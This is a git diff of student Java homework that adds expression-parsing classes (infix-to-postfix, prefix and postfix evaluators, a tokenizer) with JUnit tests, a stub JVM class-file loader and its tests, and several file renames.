+					if (token.hasHigherPriority()&&!opStack.peek().hasHigherPriority()) {
+						opStack.push(token);
+					} else if (!token.hasHigherPriority()&&opStack.peek().hasHigherPriority()) {
+						if (opStack.size() > 1) {
+							while (opStack.size() > 0) {
+								result.add(opStack.pop());
+							}
+						}
+						opStack.push(token);
+					}
+					else {
+						result.add(token);
+					}
+				}
+			}
+			if (token.isNumber()) {
+				result.add(token);
+			}
+		}
+		while (opStack.size() > 0) {
+			result.add(opStack.pop());
+		}
+		for (Token token : result) {
+			System.out.print(token.value + " ");
+		}
+		System.out.println();
+		return result;
+	}
+}
diff --git a/group17/1158154002/src/test07/expr/InfixToPostfixTest.java b/group17/1158154002/src/test07/expr/InfixToPostfixTest.java
new file mode 100644
index 0000000000..eb11aae32d
--- /dev/null
+++ b/group17/1158154002/src/test07/expr/InfixToPostfixTest.java
@@ -0,0 +1,12 @@
+package test07.expr;
+
+public class InfixToPostfixTest {
+	
+	public static void main(String[] args) {
+		//2+3*4-8/2
+		//2+3*4*5*5-8/2
+		InfixToPostfix.convert("2+3*4*5*5-8/2/2");
+		InfixToPostfix.convert("2+3");
+	}
+
+}
diff --git a/group17/1158154002/src/test07/expr/PostfixExpr.java b/group17/1158154002/src/test07/expr/PostfixExpr.java
new file mode 100644
index 0000000000..5e4e35433c
--- /dev/null
+++ b/group17/1158154002/src/test07/expr/PostfixExpr.java
@@ -0,0 +1,48 @@
+package test07.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+	String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+		Stack<Float> numStack = new Stack<>();
+		
+		for(Token token : tokens){
+			
+			if (token.isOperator()){
+				Float f2=numStack.pop();
+				Float f1=numStack.pop();
+				numStack.push(calculate(token.toString(), f1, f2));
+			} 
+			if(token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
+			}
+		}
+		
+		return numStack.pop().floatValue();
+	}
+	
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+}
diff --git a/group17/1158154002/src/test07/expr/PostfixExprTest.java b/group17/1158154002/src/test07/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..11e17fc804
--- /dev/null
+++ b/group17/1158154002/src/test07/expr/PostfixExprTest.java
@@ -0,0 +1,36 @@
+package test07.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+}
diff --git a/group17/1158154002/src/test07/expr/PrefixExpr.java b/group17/1158154002/src/test07/expr/PrefixExpr.java
new file mode 100644
index 0000000000..c02253ab1c
--- /dev/null
+++ b/group17/1158154002/src/test07/expr/PrefixExpr.java
@@ -0,0 +1,49 @@
+package test07.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+import test05.stack.StackUtil;
+
+public class PrefixExpr {
+	String expr = null;
+
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(this.expr);
+		Stack<Float> numStack = new Stack<>();
+		
+		for (int i = tokens.size()-1; i >=0; i--) {
+			Token token=tokens.get(i);
+			if (token.isOperator()){
+				Float f2=numStack.pop();
+				Float f1=numStack.pop();
+				numStack.push(calculate(token.toString(), f2, f1));
+			} 
+			if(token.isNumber()){
+				numStack.push(new Float(token.getIntValue()));
+			}
+		}		
+		return numStack.pop().floatValue();
+	}
+	
+	private Float calculate(String op, Float f1, Float f2){
+		if(op.equals("+")){
+			return f1+f2;
+		}
+		if(op.equals("-")){
+			return f1-f2;
+		}
+		if(op.equals("*")){
+			return f1*f2;
+		}
+		if(op.equals("/")){
+			return f1/f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+}
diff --git a/group17/1158154002/src/test07/expr/PrefixExprTest.java b/group17/1158154002/src/test07/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..04ed04ad0a
--- /dev/null
+++ b/group17/1158154002/src/test07/expr/PrefixExprTest.java
@@ -0,0 +1,43 @@
+package test07.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+}
diff --git a/group17/1158154002/src/test07/expr/Token.java b/group17/1158154002/src/test07/expr/Token.java
new file mode 100644
index 0000000000..7cd540bb3d
--- /dev/null
+++ b/group17/1158154002/src/test07/expr/Token.java
@@ -0,0 +1,54 @@
+package test07.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	public boolean hasHigherPriority(){
+		if(!this.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) -1 > 0;
+	}
+}
diff --git a/group17/1158154002/src/test07/expr/TokenParser.java b/group17/1158154002/src/test07/expr/TokenParser.java
new file mode 100644
index 0000000000..7e3a4db91b
--- /dev/null
+++ b/group17/1158154002/src/test07/expr/TokenParser.java
@@ -0,0 +1,55 @@
+package test07.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	public  List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private  int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private  boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
diff --git a/group17/1158154002/src/test07/expr/TokenParserTest.java b/group17/1158154002/src/test07/expr/TokenParserTest.java
new file mode 100644
index 0000000000..926a03e70e
--- /dev/null
+++ b/group17/1158154002/src/test07/expr/TokenParserTest.java
@@ -0,0 +1,37 @@
+package test07.expr;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+}
diff --git a/group17/1204187480/code/homework/basic/pom.xml b/group17/1204187480/code/homework/basic/pom.xml
deleted file mode 100644
index 17b2dea49e..0000000000
--- a/group17/1204187480/code/homework/basic/pom.xml
+++ /dev/null
@@ -1,12 +0,0 @@
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-    <modelVersion>4.0.0</modelVersion>
-    <artifactId>basic</artifactId>
-    <parent>
-        <groupId>com.coding</groupId>
-        <artifactId>parent</artifactId>
-        <version>1.0-SNAPSHOT</version>
-        <relativePath>../parent/pom.xml</relativePath>
-    </parent>
-
-</project>
\ No newline at end of file
diff --git a/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java b/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..a76de06aa1
--- /dev/null
+++ b/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.loader;
+
+import org.apache.commons.lang3.StringUtils;
+
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Created by luoziyihao on 4/27/17.
+ */
+public class ClassFileLoader {
+
+    private Set<String> clzPaths;
+
+    public void addClassPath(String path) {
+        if (clzPaths == null) {
+            clzPaths = new HashSet<>(5);
+        }
+        if (StringUtils.isBlank(path)) {
+            return;
+        }
+        clzPaths.add(path);
+
+    }
+
+
+    private static final String SPLIT = ";";
+
+    public String getClassPath() {
+        StringBuilder classPath = new StringBuilder();
+
+        for (String e : clzPaths) {
+            classPath.append(e)
+                    .append(SPLIT);
+        }
+        if (classPath.length() > 1) {
+            classPath.deleteCharAt(classPath.length() - 1);
+        }
+        return classPath.toString();
+    }
+
+    public byte[] readBinaryCode(String className) {
+        return new byte[0];
+    }
+}
diff --git a/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/test/ClassFileloaderTest.java b/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..b2dceda3e5
--- /dev/null
+++ b/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,355 @@
+package com.coderising.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+//import com.coderising.jvm.clz.ClassFile;
+//import com.coderising.jvm.clz.ClassIndex;
+//import com.coderising.jvm.cmd.BiPushCmd;
+//import com.coderising.jvm.cmd.ByteCodeCommand;
+//import com.coderising.jvm.cmd.OneOperandCmd;
+//import com.coderising.jvm.cmd.TwoOperandCmd;
+//import com.coderising.jvm.constant.ClassInfo;
+//import com.coderising.jvm.constant.ConstantPool;
+//import com.coderising.jvm.constant.MethodRefInfo;
+//import com.coderising.jvm.constant.NameAndTypeInfo;
+//import com.coderising.jvm.constant.UTF8Info;
+//import com.coderising.jvm.field.Field;
+import com.coderising.jvm.loader.ClassFileLoader;
+//import com.coderising.jvm.method.Method;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+	static String path2 = "C:\temp";
+	
+//	static ClassFile clzFile = null;
+//	static {
+//		ClassFileLoader loader = new ClassFileLoader();
+//		loader.addClassPath(path1);
+//		String className = "com.coderising.jvm.test.EmployeeV1";
+//
+//		clzFile = loader.loadClass(className);
+//
+//	}
+//
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+
+//    add comment for behind test
+//    /**
+//     * ----------------------------------------------------------------------
+//     */
+//
+//
+//    @Test
+//    public void testVersion(){
+//
+//		Assert.assertEquals(0, clzFile.getMinorVersion());
+//		Assert.assertEquals(52, clzFile.getMajorVersion());
+//
+//    }
+//
+//    @Test
+//    public void testConstantPool(){
+//
+//
+//		ConstantPool pool = clzFile.getConstantPool();
+//
+//		Assert.assertEquals(53, pool.getSize());
+//
+//		{
+//			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+//			Assert.assertEquals(2, clzInfo.getUtf8Index());
+//
+//			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+//			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+//		}
+//		{
+//			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+//			Assert.assertEquals(4, clzInfo.getUtf8Index());
+//
+//			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+//			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+//		}
+//		{
+//			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+//			Assert.assertEquals("name", utf8Info.getValue());
+//
+//			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+//			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+//
+//			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+//			Assert.assertEquals("age", utf8Info.getValue());
+//
+//			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+//			Assert.assertEquals("I", utf8Info.getValue());
+//
+//			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+//			Assert.assertEquals("<init>", utf8Info.getValue());
+//
+//			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+//			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+//
+//			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+//			Assert.assertEquals("Code", utf8Info.getValue());
+//		}
+//
+//		{
+//			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+//			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+//			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+//		}
+//
+//		{
+//			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+//			Assert.assertEquals(9, nameAndType.getIndex1());
+//			Assert.assertEquals(14, nameAndType.getIndex2());
+//		}
+//		//抽查几个吧
+//		{
+//			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+//			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+//			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+//		}
+//
+//		{
+//			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+//			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+//		}
+//    }
+//    @Test
+//    public void testClassIndex(){
+//
+//    	ClassIndex clzIndex = clzFile.getClzIndex();
+//    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+//    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+//
+//
+//    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+//    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+//    }
+//
+//    /**
+//     * 下面是第三次JVM课应实现的测试用例
+//     */
+//    @Test
+//    public void testReadFields(){
+//
+//    	List<Field> fields = clzFile.getFields();
+//    	Assert.assertEquals(2, fields.size());
+//    	{
+//    		Field f = fields.get(0);
+//    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+//    	}
+//    	{
+//    		Field f = fields.get(1);
+//    		Assert.assertEquals("age:I", f.toString());
+//    	}
+//    }
+//    @Test
+//    public void testMethods(){
+//
+//    	List<Method> methods = clzFile.getMethods();
+//    	ConstantPool pool = clzFile.getConstantPool();
+//
+//    	{
+//    		Method m = methods.get(0);
+//    		assertMethodEquals(pool,m,
+//    				"<init>",
+//    				"(Ljava/lang/String;I)V",
+//    				"2ab7000c2a2bb5000f2a1cb50011b1");
+//
+//    	}
+//    	{
+//    		Method m = methods.get(1);
+//    		assertMethodEquals(pool,m,
+//    				"setName",
+//    				"(Ljava/lang/String;)V",
+//    				"2a2bb5000fb1");
+//
+//    	}
+//    	{
+//    		Method m = methods.get(2);
+//    		assertMethodEquals(pool,m,
+//    				"setAge",
+//    				"(I)V",
+//    				"2a1bb50011b1");
+//    	}
+//    	{
+//    		Method m = methods.get(3);
+//    		assertMethodEquals(pool,m,
+//    				"sayHello",
+//    				"()V",
+//    				"b2001c1222b60024b1");
+//
+//    	}
+//    	{
+//    		Method m = methods.get(4);
+//    		assertMethodEquals(pool,m,
+//    				"main",
+//    				"([Ljava/lang/String;)V",
+//    				"bb000159122b101db7002d4c2bb6002fb1");
+//    	}
+//    }
+//
+//    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+//    	String methodName = pool.getUTF8String(m.getNameIndex());
+//		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
+//		String code = m.getCodeAttr().getCode();
+//		Assert.assertEquals(expectedName, methodName);
+//		Assert.assertEquals(expectedDesc, methodDesc);
+//		Assert.assertEquals(expectedCode, code);
+//    }
+//
+//    @Test
+//    public void testByteCodeCommand(){
+//    	{
+//	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+//	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+//
+//	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+//	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+//	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+//	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+//	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+//	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+//	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+//	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+//	    	assertOpCodeEquals("14: return", cmds[8]);
+//    	}
+//
+//    	{
+//	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+//	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+//
+//	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+//	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+//	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+//	    	assertOpCodeEquals("5: return", cmds[3]);
+//
+//    	}
+//
+//    	{
+//	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+//	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+//
+//	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+//	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+//	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+//	    	assertOpCodeEquals("8: return", cmds[3]);
+//
+//    	}
+//
+//    	{
+//	    	Method mainMethod = this.clzFile.getMainMethod();
+//
+//	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+//
+//	    	assertOpCodeEquals("0: new #1", cmds[0]);
+//	    	assertOpCodeEquals("3: dup", cmds[1]);
+//	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+//	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+//	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+//	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+//	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+//	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+//	    	assertOpCodeEquals("16: return", cmds[8]);
+//    	}
+//
+//    }
+//
+//    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+//
+//    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+//
+//    	if(cmd instanceof OneOperandCmd){
+//    		if(cmd instanceof BiPushCmd){
+//    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+//    		} else{
+//    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+//    		}
+//    	}
+//    	if(cmd instanceof TwoOperandCmd){
+//    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+//    	}
+//    	Assert.assertEquals(expected, acctual);
+//    }
+
+}
diff --git a/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/test/EmployeeV1.java b/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..12e3d7efdd
--- /dev/null
+++ b/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/litestruts/action/LoginAction.java b/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/litestruts/LoginAction.java
similarity index 95%
rename from group17/1204187480/code/homework/coderising/src/main/java/com/coderising/litestruts/action/LoginAction.java
rename to group17/1204187480/code/homework/coderising/src/main/java/com/coderising/litestruts/LoginAction.java
index 85ae4dc47c..dcdbe226ed 100644
--- a/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/litestruts/action/LoginAction.java
+++ b/group17/1204187480/code/homework/coderising/src/main/java/com/coderising/litestruts/LoginAction.java
@@ -1,4 +1,4 @@
-package com.coderising.litestruts.action;
+package com.coderising.litestruts;
 
 /**
  * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
diff --git a/group17/1204187480/code/homework/coderising/src/main/resources/struts.xml b/group17/1204187480/code/homework/coderising/src/main/resources/struts.xml
index c7ee86e436..876156eb4d 100644
--- a/group17/1204187480/code/homework/coderising/src/main/resources/struts.xml
+++ b/group17/1204187480/code/homework/coderising/src/main/resources/struts.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <struts>
-    <action name="login" class="com.coderising.litestruts.action.LoginAction">
+    <action name="login" class="com.coderising.litestruts.LoginAction">
         <result name="success">/jsp/homepage.jsp</result>
         <result name="fail">/jsp/showLogin.jsp</result>
     </action>
diff --git a/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/BinaryTreeNode.java b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/BinaryTreeNode.java
similarity index 94%
rename from group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/BinaryTreeNode.java
rename to group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/BinaryTreeNode.java
index 266eff3d56..d7ac820192 100644
--- a/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/BinaryTreeNode.java
+++ b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/BinaryTreeNode.java
@@ -1,32 +1,32 @@
-package com.coding.basic;
-
-public class BinaryTreeNode {
-	
-	private Object data;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-	
-	public Object getData() {
-		return data;
-	}
-	public void setData(Object data) {
-		this.data = data;
-	}
-	public BinaryTreeNode getLeft() {
-		return left;
-	}
-	public void setLeft(BinaryTreeNode left) {
-		this.left = left;
-	}
-	public BinaryTreeNode getRight() {
-		return right;
-	}
-	public void setRight(BinaryTreeNode right) {
-		this.right = right;
-	}
-	
-	public BinaryTreeNode insert(Object o){
-		return  null;
-	}
-	
-}
+package com.coding.basic;
+
+public class BinaryTreeNode {
+	
+	private Object data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+	
+	public Object getData() {
+		return data;
+	}
+	public void setData(Object data) {
+		this.data = data;
+	}
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode insert(Object o){
+		return  null;
+	}
+	
+}
diff --git a/group27/383117348/src/com/coding/basic/Iterator.java b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Iterator.java
similarity index 93%
rename from group27/383117348/src/com/coding/basic/Iterator.java
rename to group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Iterator.java
index dbe8b9afb2..06ef6311b2 100644
--- a/group27/383117348/src/com/coding/basic/Iterator.java
+++ b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Iterator.java
@@ -1,7 +1,7 @@
-package com.coding.basic;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-
-}
+package com.coding.basic;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+
+}
diff --git a/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/List.java b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/List.java
similarity index 95%
rename from group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/List.java
rename to group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/List.java
index 0a09990083..ef939ae2cc 100644
--- a/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/List.java
+++ b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/List.java
@@ -1,10 +1,10 @@
-package com.coding.basic;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-	public Iterator iterator();
-}
+package com.coding.basic;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+	public Iterator iterator();
+}
diff --git a/group17/1204187480/code/homework/basic/src/main/java/com/coding/basic/Queue.java b/group17/1204187480/code/homework/coding/src/main/java/com/coding/basic/Queue.java
similarity index 87%
